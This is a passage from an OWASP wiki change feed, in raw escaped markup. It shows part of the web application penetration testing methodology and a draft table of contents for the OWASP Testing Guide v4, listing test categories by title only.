* Test all&lt;br /&gt;
We think it is important to use a method to test all known vulnerabilities and document all the pen test activities.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''What is the OWASP testing methodology?'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Penetration testing will never be an exact science where a complete list of all possible issues that should be tested can be defined. Indeed, penetration testing is only an appropriate technique for testing the security of web applications under certain circumstances. &lt;br /&gt;
The goal is to collect all the possible testing techniques, explain them, and keep the guide updated.&amp;lt;br&amp;gt;&lt;br /&gt;
The OWASP Web Application Penetration Testing method is based on the black box approach. The tester knows nothing or very little information about the application to be tested.&lt;br /&gt;
The testing model consists of:&lt;br /&gt;
* Tester: Who performs the testing activities &lt;br /&gt;
* Tools and methodology: The core of this Testing Guide project&lt;br /&gt;
* Application: The black box to test&lt;br /&gt;
The test is divided into 2 phases:&lt;br /&gt;
* Passive mode: in the passive mode, the tester tries to understand the application's logic, and plays with the application. Tools can be used for information gathering, for example, an HTTP proxy to observe all the HTTP requests and responses. At the end of this phase, the tester should understand all the access points (''gates'') of the application (e.g., HTTP headers, parameters, and cookies). The Information Gathering section explains how to perform a passive mode test. For example, the tester could find the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
https://www.example.com/login/Authentic_Form.html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This may indicate an authentication form in which the application requests a username and a password. &amp;lt;br&amp;gt;&lt;br /&gt;
The following parameters represent two access points (gates) to the application:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.example.com/Appx.jsp?a=1&amp;amp;b=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this case, the application shows two gates (parameters a and b).&lt;br /&gt;
All the gates found in this phase represent a point of testing. A spreadsheet with the directory tree of the application and all the access points would be useful for the second phase.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
* Active mode: in this phase, the tester begins to test using the methodology described in the follow paragraphs.&lt;br /&gt;
&lt;br /&gt;
We have split the set of active tests in 12 sub-categories for a total of 91 controls:&lt;br /&gt;
* Information Gathering&lt;br /&gt;
* Configuration and Deploy Management Testing&lt;br /&gt;
* Identity Management Testing&lt;br /&gt;
* Authentication Testing&lt;br /&gt;
* Authorization Testing&lt;br /&gt;
* Session Management Testing&lt;br /&gt;
* Data Validation Testing&lt;br /&gt;
* Error Handling&lt;br /&gt;
* Cryptography&lt;br /&gt;
* Logging&lt;br /&gt;
* Business Logic Testing&lt;br /&gt;
* Client Side Testing&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=169376</id>
		<title>OWASP Testing Guide v4 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=169376"/>
				<updated>2014-03-04T14:05:06Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{OWASP Breakers}}&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
'''This is the DRAFT of the table of content of the New Testing Guide v4.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide Project:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
'''Updated: 16th December 2013'''&lt;br /&gt;
&lt;br /&gt;
[[ OWTGv4 Contributors list|'''Contributors List]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following is a DRAFT of the Toc based on the feedback already received.&lt;br /&gt;
&lt;br /&gt;
== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|Foreword by Eoin Keary]]== &lt;br /&gt;
[To review--&amp;gt; Eoin Keary -&amp;gt; Done!!]&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |1. Frontispiece]]== &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' &lt;br /&gt;
[To review--&amp;gt; ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]&lt;br /&gt;
&lt;br /&gt;
2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Information Gathering|'''4.2 Information Gathering ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly &amp;quot;Testing for Application Configuration Management weakness (OWASP-CM-002)&amp;quot;  [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling  (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly &amp;quot;Testing for File Extensions Handling  (OWASP-CM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly &amp;quot;Old, Backup and Unreferenced Files (OWASP-CM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces  (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly &amp;quot;Infrastructure and Application Admin Interfaces  (OWASP-CM-005)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST  (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly &amp;quot;Testing for Bad HTTP Methods (OWASP-CM-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Missing HSTS header|4.3.7 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly &amp;quot;Testing for Missing HSTS header (OWASP-CM-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for RIA policy files weakness|4.3.8 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly &amp;quot;Testing for RIA policy files weakness (OWASP-CM-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Identity Management|'''4.4 Identity Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly &amp;quot;Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly &amp;quot;Testing for Weak or unenforced username policy (OWASP-AT-009)&lt;br /&gt;
&lt;br /&gt;
[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''4.5 Authentication Testing ''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel  (OTG-AUTHN-001)]] formerly &amp;quot;Testing for Credentials Transported over an Encrypted Channel  (OWASP-AT-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly &amp;quot;Testing for default credentials (OWASP-AT-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly &amp;quot;Testing for Weak lock out mechanism (OWASP-AT-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly &amp;quot;Testing for bypassing authentication schema (OWASP-AT-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly &amp;quot;Testing for vulnerable remember password functionality (OWASP-AT-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly &amp;quot;Testing for Browser cache weakness (OWASP-AT-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly &amp;quot;Testing for Weak password policy (OWASP-AT-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel&lt;br /&gt;
&lt;br /&gt;
[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly &amp;quot;Testing for weak password change or reset functionalities (OWASP-AT-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''4.6 Authorization Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Path Traversal  (OWASP-AZ-001)|4.6.1 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly &amp;quot;Testing Directory traversal/file include (OWASP-AZ-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema  (OWASP-AZ-002)|4.6.2 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly &amp;quot;Testing for bypassing authorization schema  (OWASP-AZ-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Privilege escalation  (OWASP-AZ-003)|4.6.3 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly &amp;quot;Testing for Privilege Escalation  (OWASP-AZ-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.4 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly &amp;quot;Testing for Insecure Direct Object References (OWASP-AZ-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.7 Session Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly &amp;quot;Testing for Bypassing Session Management Schema (OWASP-SM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes  (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly &amp;quot;Testing for Cookies attributes (OWASP-SM-002)&amp;quot; (Cookies are set not ‘HTTP Only’, ‘Secure’,  and no time validity)&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation  (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly &amp;quot;Testing for Session Fixation  (OWASP-SM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly &amp;quot;Testing for Exposed Session Variables (OWASP-SM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF  (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly &amp;quot;Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for logout functionality (OWASP-SM-007)|4.7.6 Testing for logout functionality (OTG-SESS-007)]] formerly &amp;quot;Testing for logout functionality (OWASP-SM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test Session Timeout (OTG-SESS-008)|4.7.7 Test Session Timeout (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session puzzling (OTG-SESS-010)|4.7.8 Testing for Session puzzling (OTG-SESS-010)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly &amp;quot;Testing for Reflected Cross Site Scripting (OWASP-DV-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly &amp;quot;Testing for Stored Cross Site Scripting (OWASP-DV-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly &amp;quot;Testing for HTTP Verb Tampering (OWASP-DV-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly &amp;quot;Testing for HTTP Parameter pollution (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Injection (OWASP-DV-005)| 4.8.5 Testing for SQL Injection (OTG-INPVAL-006)]] formerly &amp;quot;Testing for SQL Injection (OWASP-DV-005)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Oracle|4.8.5.1 Oracle Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MySQL|4.8.5.2 MySQL Testing [Ismael Gonçalves]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Server|4.8.5.3 SQL Server Testing]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.4 Testing PostgreSQL (from OWASP BSP) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MS Access |4.8.5.5 MS Access Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for NoSQL injection|4.8.5.6 Testing for NoSQL injection [New!]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for LDAP Injection  (OWASP-DV-006)|4.8.6 Testing for LDAP Injection  (OTG-INPVAL-007)]] formerly &amp;quot;Testing for LDAP Injection  (OWASP-DV-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for ORM Injection   (OWASP-DV-007)|4.8.7 Testing for ORM Injection   (OTG-INPVAL-008)]] formerly &amp;quot;Testing for ORM Injection   (OWASP-DV-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Injection (OWASP-DV-008)|4.8.8 Testing for XML Injection (OTG-INPVAL-009)]] formerly &amp;quot;Testing for XML Injection (OWASP-DV-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSI Injection  (OWASP-DV-009)|4.8.9 Testing for SSI Injection  (OTG-INPVAL-010)]] formerly &amp;quot;Testing for SSI Injection  (OWASP-DV-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XPath Injection  (OWASP-DV-010)|4.8.10 Testing for XPath Injection  (OTG-INPVAL-011)]] formerly &amp;quot;Testing for XPath Injection  (OWASP-DV-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for IMAP/SMTP Injection  (OWASP-DV-011)|4.8.11 IMAP/SMTP Injection  (OTG-INPVAL-012)]] formerly &amp;quot;IMAP/SMTP Injection  (OWASP-DV-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Code Injection  (OWASP-DV-012)|4.8.12 Testing for Code Injection  (OTG-INPVAL-013)]] formerly &amp;quot;Testing for Code Injection  (OWASP-DV-012)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Local File Inclusion|4.8.12.1 Testing for Local File Inclusion]] '''[to be updated]'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Remote File Inclusion|4.8.12.2 Testing for Remote File Inclusion]] '''[to be updated]'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Command Injection   (OWASP-DV-013)|4.8.13 Testing for Command Injection   (OTG-INPVAL-014)]] formerly &amp;quot;Testing for Command Injection   (OWASP-DV-013)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.14 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly &amp;quot;Testing for Buffer overflow (OWASP-DV-014)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Heap Overflow|4.8.14.1 Testing for Heap overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Overflow|4.8.14.2 Testing for Stack overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Format String|4.8.14.3 Testing for Format string]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.15 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly &amp;quot;Testing for incubated vulnerabilities (OWASP-DV-015)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)|4.8.16 Testing for HTTP Splitting/Smuggling  (OTG-INPVAL-017) ]] formerly &amp;quot;Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Error Handling|'''4.9 Error Handling''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly &amp;quot;Analysis of Error Codes (OWASP-IG-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly &amp;quot;Analysis of Stack Traces&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Cryptography|'''4.10 Cryptography''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.1 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly &amp;quot;Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)&amp;quot; [Simone Onofri]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.2 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly &amp;quot;Testing for Padding Oracle (OWASP-EN-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.3 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]] [Simone Onofri]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test&lt;br /&gt;
&lt;br /&gt;
[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly &amp;quot;Incorrect time&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic   (OWASP-BL-001)|'''4.12 Business Logic Testing  (OWASP-BL-001)''']] &lt;br /&gt;
Business Logic&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test Business Logic Data Validation (OTG-BUSLOGIC-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to Forge Requests (OTG-BUSLOGIC-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)]]&lt;br /&gt;
&lt;br /&gt;
[[Test for Process Timing (OTG-BUSLOGIC-007)|4.12.4 Test for Process Timing (OTG-BUSLOGIC-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.5 Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-009)|4.12.6 Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)]] &lt;br /&gt;
&lt;br /&gt;
[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.7 Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-015)|4.12.8 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Upload of Malicious Files (OTG-BUSLOGIC-016)|4.12.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Client Side Testing|'''4.15 Client Side Testing''']] [New!] &lt;br /&gt;
&lt;br /&gt;
[[Testing for DOM-based Cross site scripting  (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting  (OTG-CLIENT-001)]] formerly &amp;quot;Testing for DOM based Cross Site Scripting  (OWASP-CS-001)&amp;quot; [Stefano Di Paola]&lt;br /&gt;
&lt;br /&gt;
[[Testing for JavaScript Execution|4.15.2 Testing for JavaScript Execution (OWASP-CS-002)]] (Stefano Di Paola, Matteo Meucci)&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTML Injection|4.15.3 Testing for HTML Injection (OWASP-CS-003)]] (Stefano Di Paola, Matteo Meucci)&lt;br /&gt;
&lt;br /&gt;
[[Testing for Client Side URL Redirect|4.15.4 Testing for Client Side URL Redirect (OWASP-CS-004)]] (Mauro Gentile, Davide Danelon)&lt;br /&gt;
&lt;br /&gt;
[[Testing_for_CSS_Injection|4.15.5 Testing for CSS Injection (OWASP-CS-005)]] (Mauro Gentile, Davide Danelon)&lt;br /&gt;
&lt;br /&gt;
[[Testing_for_Client_Side_Resource_Manipulation|4.15.6 Testing for Client Side Resource Manipulation (OWASP-CS-006)]] (Mauro Gentile, Davide Danelon)&lt;br /&gt;
&lt;br /&gt;
[[Test Cross Origin Resource Sharing (OTG-CLIENT-002)|4.15.7 Test Cross Origin Resource Sharing (OTG-CLIENT-007)]] formerly &amp;quot;Testing for HTML5 (OWASP CS-002)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
